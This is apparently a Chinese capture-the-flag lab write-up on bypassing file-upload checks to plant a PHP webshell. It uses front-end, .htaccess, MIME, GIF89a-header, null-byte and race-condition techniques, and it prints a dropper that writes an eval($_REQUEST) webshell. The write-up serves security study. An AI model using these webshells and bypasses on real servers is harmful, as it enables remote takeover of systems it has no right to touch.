Webshell 是一种恶意脚本,通常被黑客上传到受害者的服务器上,以便远程控制和管理该服务器。它可以通过 web 应用程序的漏洞(如文件上传漏洞)被植入,并允许攻击者执行命令、访问文件、修改数据库等。
前端绕过
在第一关的靶场中,直接上传图片是可以的,如何判断是否是前端验证呢?首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了。
针对无法绕过的情况,我们可以先将php文件改为图片后缀,然后进行上传,同时开启抓包拦截该数据包,再将后缀名修改回原来的php即可实现绕过。
查看前端即可发现已经上传成功,右键复制图片链接地址即可访问木马文件。
然后我们拿到蚁剑进行连接即可。
之后发现flag
.htaccess绕过
因为题目是考查 htaccess 这个上传知识点,所以先准备一个解析规则:
$ cat .htaccess
AddType application/x-httpd-php .jpg
然后先上传这个 .htaccess 文件到服务器的 upload 目录下:
这表示将 upload 目录下的所有jpg图片都当做 php 来解析,然后再上传一个 shell.php重命名为shell.jpg的 webshell 即可,可以看到之前的.htaccess也已经被上传。
MIME绕过
因为提示了 MIME 类型校验,所以抓取上传的数据包然后直接修改 Content-Type
类型为:image/png
等合法的类型即可:
上传shell.jpg,然后再重新将后缀改为php即可,content-type会自动识别为图片类型实现绕过。
或者是直接上传shell.php,然后将content-type改为image/jpeg即可。
文件头绕过
本题配图中里面包含了 GIF89a 已经很明显了,答案就在题目中。本题校验了图片的文件头也就是校验图片内容的,这个时候使用一个标准的图马是可以成功绕过的,由于国光的这个代码只校验了前面几个字节,所以直接在webshell的内容前写GIF89a 即可成功绕过:
古老的漏洞-1 GET型00截断绕过
%00 截断:PHP 内核是由 C 语言实现的,所以使用了 C 语言中的一些字符串处理函数。比如在连接字符串时候, 0 字节 (\x00) 将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。
%00 截断适用条件
- magic_quotes_gpc = Off
- PHP 版本小于 5.3.4
原理是 %00
起到截断的作用,最终会在 upload 目录下面生成 new.php
古老的漏洞-2 POST型00截断绕过
本关与上一关基本相同,只不过路径的提交点在POST请求体中。
因为不是 GET 型,所以需要手动 URL 解码实现截断。
这里解码后虽然看起来没有东西 但是如果不存在 %00 URL 解码后的空字节的话无法绕过成功上传。
条件竞争
本关实际上比拼的是手速,条件竞争的话稍微和正常的上传姿势不一样,先把题目中给的 webshell 信息复制出来备用:
shell.php内容
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
那么其实逻辑是一直上传对应的shell.php,而其本质上并不是之前几关的webshell,而是在触发一个文件创建的操作,创建一个xiao.php,内容为webshell。但是由于服务器安全机制,会删除我们的文件,所以必须要趁服务器未删除前触发这个新的文件创建操作,实现上传。
首先上传并抓包这个shell.php,然后发送到intruder模块,选择空载荷Null Payload。然后选择无限爆破。
然后我们再去访问这个shell.php并抓包发送到intruder模块,也是使用Intruder无限爆破访问,如果条件竞争成功,那么将在服务器下生成对应的xiao.php,然后就可以连接了。
成不成全靠运气,不然怎么叫做竞争呢?
成功的话会在服务器中生成xiao.php。